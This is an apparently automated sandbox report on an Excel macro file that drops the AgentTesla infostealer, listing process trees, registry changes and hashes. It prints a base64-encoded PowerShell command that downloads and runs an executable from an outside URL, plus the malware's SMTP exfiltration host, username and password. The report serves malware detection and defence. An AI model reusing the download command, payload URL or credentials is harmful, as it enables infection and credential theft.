Analysis
-
max time kernel
122s -
max time network
26s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
22-03-2021 14:14
Static task
static1
Behavioral task
behavioral1
Sample
MV TRIADES.xlsm
Resource
win7v20201028
Behavioral task
behavioral2
Sample
MV TRIADES.xlsm
Resource
win10v20201028
General
-
Target
MV TRIADES.xlsm
-
Size
420KB
-
MD5
f7f66672f19f2dabe4f7269e32eb8540
-
SHA1
688ba6fb074142755fecd74056278b145a282f5a
-
SHA256
9664740123170b912430759af6cfad9ff784ccd266fe93909022093beff051c7
-
SHA512
b6a3f0df23c731b57ec21ed74bba187a46f49fb35c35a089417b17cc2dc1fed3b4dba04584b1ccb26df7fb7e29459a268c25d4d0df918b9eb0a319303aff360e
Malware Config
Extracted
http://specfloors.net/dev/income.exe
Extracted
agenttesla
Protocol: smtp- Host:
smtp.jiratane.com - Port:
587 - Username:
mail@jiratane.com - Password:
Olaola123@
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1164 1752 cmd.exe EXCEL.EXE -
AgentTesla Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1696-44-0x0000000000400000-0x000000000043C000-memory.dmp family_agenttesla behavioral1/memory/1696-45-0x000000000043766E-mapping.dmp family_agenttesla behavioral1/memory/1696-48-0x0000000000400000-0x000000000043C000-memory.dmp family_agenttesla -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 1964 powershell.exe -
Executes dropped EXE 2 IoCs
Processes:
tNDFx.exetNDFx.exepid process 992 tNDFx.exe 1696 tNDFx.exe -
Loads dropped DLL 1 IoCs
Processes:
powershell.exepid process 1964 powershell.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 14 IoCs
Processes:
tNDFx.exepid process 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
tNDFx.exedescription pid process target process PID 992 set thread context of 1696 992 tNDFx.exe tNDFx.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Office loads VBA resources, possible macro or embedded object present
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1944 timeout.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE -
Processes:
tNDFx.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 tNDFx.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tNDFx.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tNDFx.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tNDFx.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1752 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exetNDFx.exetNDFx.exepid process 1964 powershell.exe 1964 powershell.exe 992 tNDFx.exe 992 tNDFx.exe 992 tNDFx.exe 1696 tNDFx.exe 1696 tNDFx.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exetNDFx.exetNDFx.exedescription pid process Token: SeDebugPrivilege 1964 powershell.exe Token: SeDebugPrivilege 992 tNDFx.exe Token: SeDebugPrivilege 1696 tNDFx.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
EXCEL.EXEtNDFx.exepid process 1752 EXCEL.EXE 1752 EXCEL.EXE 1752 EXCEL.EXE 1696 tNDFx.exe -
Suspicious use of WriteProcessMemory 29 IoCs
Processes:
EXCEL.EXEcmd.exepowershell.exetNDFx.execmd.exedescription pid process target process PID 1752 wrote to memory of 1164 1752 EXCEL.EXE cmd.exe PID 1752 wrote to memory of 1164 1752 EXCEL.EXE cmd.exe PID 1752 wrote to memory of 1164 1752 EXCEL.EXE cmd.exe PID 1752 wrote to memory of 1164 1752 EXCEL.EXE cmd.exe PID 1164 wrote to memory of 1964 1164 cmd.exe powershell.exe PID 1164 wrote to memory of 1964 1164 cmd.exe powershell.exe PID 1164 wrote to memory of 1964 1164 cmd.exe powershell.exe PID 1164 wrote to memory of 1964 1164 cmd.exe powershell.exe PID 1964 wrote to memory of 992 1964 powershell.exe tNDFx.exe PID 1964 wrote to memory of 992 1964 powershell.exe tNDFx.exe PID 1964 wrote to memory of 992 1964 powershell.exe tNDFx.exe PID 1964 wrote to memory of 992 1964 powershell.exe tNDFx.exe PID 992 wrote to memory of 1080 992 tNDFx.exe cmd.exe PID 992 wrote to memory of 1080 992 tNDFx.exe cmd.exe PID 992 wrote to memory of 1080 992 tNDFx.exe cmd.exe PID 992 wrote to memory of 1080 992 tNDFx.exe cmd.exe PID 1080 wrote to memory of 1944 1080 cmd.exe timeout.exe PID 1080 wrote to memory of 1944 1080 cmd.exe timeout.exe PID 1080 wrote to memory of 1944 1080 cmd.exe timeout.exe PID 1080 wrote to memory of 1944 1080 cmd.exe timeout.exe PID 992 wrote to memory of 1696 992 tNDFx.exe tNDFx.exe PID 992 wrote to memory of 1696 992 tNDFx.exe tNDFx.exe PID 992 wrote to memory of 1696 992 tNDFx.exe tNDFx.exe PID 992 wrote to memory of 1696 992 tNDFx.exe tNDFx.exe PID 992 wrote to memory of 1696 992 tNDFx.exe tNDFx.exe PID 992 wrote to memory of 1696 992 tNDFx.exe tNDFx.exe PID 992 wrote to memory of 1696 992 tNDFx.exe tNDFx.exe PID 992 wrote to memory of 1696 992 tNDFx.exe tNDFx.exe PID 992 wrote to memory of 1696 992 tNDFx.exe tNDFx.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\MV TRIADES.xlsm"1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AcwBwAGUAYwBmAGwAbwBvAHIAcwAuAG4AZQB0AC8AZABlAHYALwBpAG4AYwBvAG0AZQAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAdABOAEQARgB4AC4AZQB4AGUAJwApADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBhAHAAcABkAGEAdABhAFwAdABOAEQARgB4AC4AZQB4AGUA2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AcwBwAGUAYwBmAGwAbwBvAHIAcwAuAG4AZQB0AC8AZABlAHYALwBpAG4AYwBvAG0AZQAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAdABOAEQARgB4AC4AZQB4AGUAJwApADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBhAHAAcABkAGEAdABhAFwAdABOAEQARgB4AC4AZQB4AGUA3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\tNDFx.exe"C:\Users\Admin\AppData\Roaming\tNDFx.exe"4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 15⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout 16⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\tNDFx.exe"C:\Users\Admin\AppData\Roaming\tNDFx.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\tNDFx.exeMD5
b2ab5d8639c89d42acbdc362b86aca91
SHA184a55e89e1b5731a0dc1e8475e148b7c3ebb8b01
SHA2567a8e27f4732de792d7904a347061efd90e892a954206adb676fe8b8a914ca3fa
SHA512f7b0c0221812ef3cdee347125236eb7b430305bc904aba40ce49efc921664dd776d4b371649045ed31c062e7fc41391740b217fc3fc2c9f55b41168c6f94b630
-
C:\Users\Admin\AppData\Roaming\tNDFx.exeMD5
b2ab5d8639c89d42acbdc362b86aca91
SHA184a55e89e1b5731a0dc1e8475e148b7c3ebb8b01
SHA2567a8e27f4732de792d7904a347061efd90e892a954206adb676fe8b8a914ca3fa
SHA512f7b0c0221812ef3cdee347125236eb7b430305bc904aba40ce49efc921664dd776d4b371649045ed31c062e7fc41391740b217fc3fc2c9f55b41168c6f94b630
-
C:\Users\Admin\AppData\Roaming\tNDFx.exeMD5
b2ab5d8639c89d42acbdc362b86aca91
SHA184a55e89e1b5731a0dc1e8475e148b7c3ebb8b01
SHA2567a8e27f4732de792d7904a347061efd90e892a954206adb676fe8b8a914ca3fa
SHA512f7b0c0221812ef3cdee347125236eb7b430305bc904aba40ce49efc921664dd776d4b371649045ed31c062e7fc41391740b217fc3fc2c9f55b41168c6f94b630
-
\Users\Admin\AppData\Roaming\tNDFx.exeMD5
b2ab5d8639c89d42acbdc362b86aca91
SHA184a55e89e1b5731a0dc1e8475e148b7c3ebb8b01
SHA2567a8e27f4732de792d7904a347061efd90e892a954206adb676fe8b8a914ca3fa
SHA512f7b0c0221812ef3cdee347125236eb7b430305bc904aba40ce49efc921664dd776d4b371649045ed31c062e7fc41391740b217fc3fc2c9f55b41168c6f94b630
-
memory/992-34-0x0000000000000000-mapping.dmp
-
memory/992-37-0x000000006BBA0000-0x000000006C28E000-memory.dmpFilesize
6.9MB
-
memory/992-38-0x0000000000B50000-0x0000000000B51000-memory.dmpFilesize
4KB
-
memory/992-40-0x0000000005CF0000-0x0000000005CF1000-memory.dmpFilesize
4KB
-
memory/992-41-0x0000000000A60000-0x0000000000AA6000-memory.dmpFilesize
280KB
-
memory/1080-42-0x0000000000000000-mapping.dmp
-
memory/1164-5-0x0000000000000000-mapping.dmp
-
memory/1696-50-0x00000000021D0000-0x00000000021D1000-memory.dmpFilesize
4KB
-
memory/1696-44-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
-
memory/1696-45-0x000000000043766E-mapping.dmp
-
memory/1696-47-0x000000006BBA0000-0x000000006C28E000-memory.dmpFilesize
6.9MB
-
memory/1696-48-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
-
memory/1696-51-0x00000000021D1000-0x00000000021D2000-memory.dmpFilesize
4KB
-
memory/1752-2-0x000000002F371000-0x000000002F374000-memory.dmpFilesize
12KB
-
memory/1752-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1752-3-0x0000000071011000-0x0000000071013000-memory.dmpFilesize
8KB
-
memory/1944-43-0x0000000000000000-mapping.dmp
-
memory/1964-11-0x00000000049D0000-0x00000000049D1000-memory.dmpFilesize
4KB
-
memory/1964-32-0x00000000062C0000-0x00000000062C1000-memory.dmpFilesize
4KB
-
memory/1964-31-0x0000000006290000-0x0000000006291000-memory.dmpFilesize
4KB
-
memory/1964-24-0x0000000006180000-0x0000000006181000-memory.dmpFilesize
4KB
-
memory/1964-23-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
-
memory/1964-22-0x0000000005770000-0x0000000005771000-memory.dmpFilesize
4KB
-
memory/1964-17-0x0000000005730000-0x0000000005731000-memory.dmpFilesize
4KB
-
memory/1964-14-0x0000000004750000-0x0000000004751000-memory.dmpFilesize
4KB
-
memory/1964-13-0x0000000002450000-0x0000000002451000-memory.dmpFilesize
4KB
-
memory/1964-12-0x0000000004992000-0x0000000004993000-memory.dmpFilesize
4KB
-
memory/1964-10-0x00000000009C0000-0x00000000009C1000-memory.dmpFilesize
4KB
-
memory/1964-9-0x0000000004990000-0x0000000004991000-memory.dmpFilesize
4KB
-
memory/1964-8-0x000000006BBA0000-0x000000006C28E000-memory.dmpFilesize
6.9MB
-
memory/1964-7-0x0000000075EB1000-0x0000000075EB3000-memory.dmpFilesize
8KB
-
memory/1964-6-0x0000000000000000-mapping.dmp